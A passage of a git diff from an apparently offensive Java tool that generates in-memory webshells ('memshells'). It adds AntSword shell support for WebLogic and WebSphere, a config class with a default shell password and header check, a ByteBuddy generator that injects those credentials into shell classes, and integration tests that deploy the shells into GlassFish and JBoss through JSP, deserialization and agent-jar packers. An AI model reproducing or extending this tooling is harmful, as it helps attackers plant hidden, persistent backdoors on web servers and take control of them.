com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener; import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener; import com.reajason.javaweb.memshell.weblogic.command.CommandListener; import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; @@ -71,4 +75,14 @@ public class WebLogicShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class)); + map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java index e52c940b..04a6dc75 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener; import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener; import com.reajason.javaweb.memshell.websphere.command.CommandListener; import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener; @@ -71,4 +75,14 @@ public class WebSphereShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class)); + map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java new file mode 100644 index 00000000..569bdc55 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.memshell.config; + +import com.reajason.javaweb.memshell.utils.CommonUtil; +import lombok.*; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Getter +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +@ToString +public class AntSwordConfig extends ShellToolConfig { + @Builder.Default + private String pass = "pass"; + @Builder.Default + private String headerName = "User-Agent"; + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java index 22c1b658..cab660e2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java @@ -24,4 +24,9 @@ public enum ShellTool { * Suo5 隧道代理 */ Suo5, + + /** + * 蚁剑 + */ + AntSword, } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java new file mode 100644 index 00000000..6f31f819 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.AntSwordConfig; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import org.apache.commons.lang3.StringUtils; + +import java.util.Map; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordGenerator { + private final ShellConfig shellConfig; + private final AntSwordConfig antSwordConfig; + + public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) { + this.shellConfig = shellConfig; + this.antSwordConfig = antSwordConfig; + } + + public DynamicType.Builder getBuilder() { + if (antSwordConfig.getShellClass() == null) { + throw new IllegalArgumentException("antSwordConfig.getClazz() == null"); + } + if (StringUtils.isBlank(antSwordConfig.getPass())) { + throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()"); + } + DynamicType.Builder builder = new ByteBuddy() + .redefine(antSwordConfig.getShellClass()) + .name(antSwordConfig.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + if (shellConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(Map.of( + "pass", antSwordConfig.getPass(), + "headerName", antSwordConfig.getHeaderName(), + "headerValue", antSwordConfig.getHeaderValue() + )) + ); + } else { + builder = builder.field(named("pass")).value(antSwordConfig.getPass()) + .field(named("headerName")).value(antSwordConfig.getHeaderName()) + .field(named("headerValue")).value(antSwordConfig.getHeaderValue()); + } + return builder; + } + + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); + try (DynamicType.Unloaded make = builder.make()) { + return make.getBytes(); + } + } +} diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 65560593..4daec4d8 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -11,6 +11,7 @@ dependencies { testImplementation project(":tools:behinder") testImplementation project(":tools:godzilla") testImplementation project(":tools:suo5") + testImplementation project(":tools:ant-sword") testImplementation project(':generator') testImplementation 'net.bytebuddy:byte-buddy' diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index b14072ae..862b7141 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.antsword.AntSwordManager; import com.reajason.javaweb.behinder.BehinderManager; import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.memshell.SpringWebFluxShell; @@ -92,6 +93,9 @@ public class ShellAssertionTool { case Suo5: testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); break; + case AntSword: + testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig())); + break; } } @@ -137,6 +141,15 @@ public class ShellAssertionTool { assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue())); } + public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) { + AntSwordManager antSwordManager = AntSwordManager.builder() + .entrypoint(entrypoint) + .pass(shellConfig.getPass()) + .header(shellConfig.getHeaderName() + , shellConfig.getHeaderValue()).build(); + assertTrue(antSwordManager.getInfo().contains("ok")); + } + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { @@ -185,6 +198,15 @@ public class ShellAssertionTool { .build(); log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName); break; + case AntSword: + String antPassword = "ant"; + shellToolConfig = AntSwordConfig.builder() + .pass(antPassword) + .headerName("User-Agent") + .headerValue(uniqueName) + .build(); + log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName); + break; } return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 16f5dc34..45dc65c3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -57,6 +57,8 @@ public class GlassFish3ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -65,6 +67,8 @@ public class GlassFish3ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -73,9 +77,13 @@ public class GlassFish3ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index b8398186..c2d0d281 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -58,6 +58,8 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +68,8 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -74,9 +78,13 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index 335200bd..b5cfbfa1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -50,6 +50,8 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,13 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 527845d5..50c05dba 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -53,6 +53,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -64,6 +67,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -75,9 +81,14 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index dabc966a..86ac7c82 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -50,6 +50,8 @@ public class Jboss423ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jboss423ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,13 @@ public class Jboss423ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index be8ebcde..9ef1ebb2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -51,6 +51,8 @@ public class Jboss510ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Jboss510ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -67,9 +71,13 @@ public class Jboss510ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index f0b93473..7d2473c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -50,6 +50,8 @@ public class Jboss610ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jboss610ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -66,9 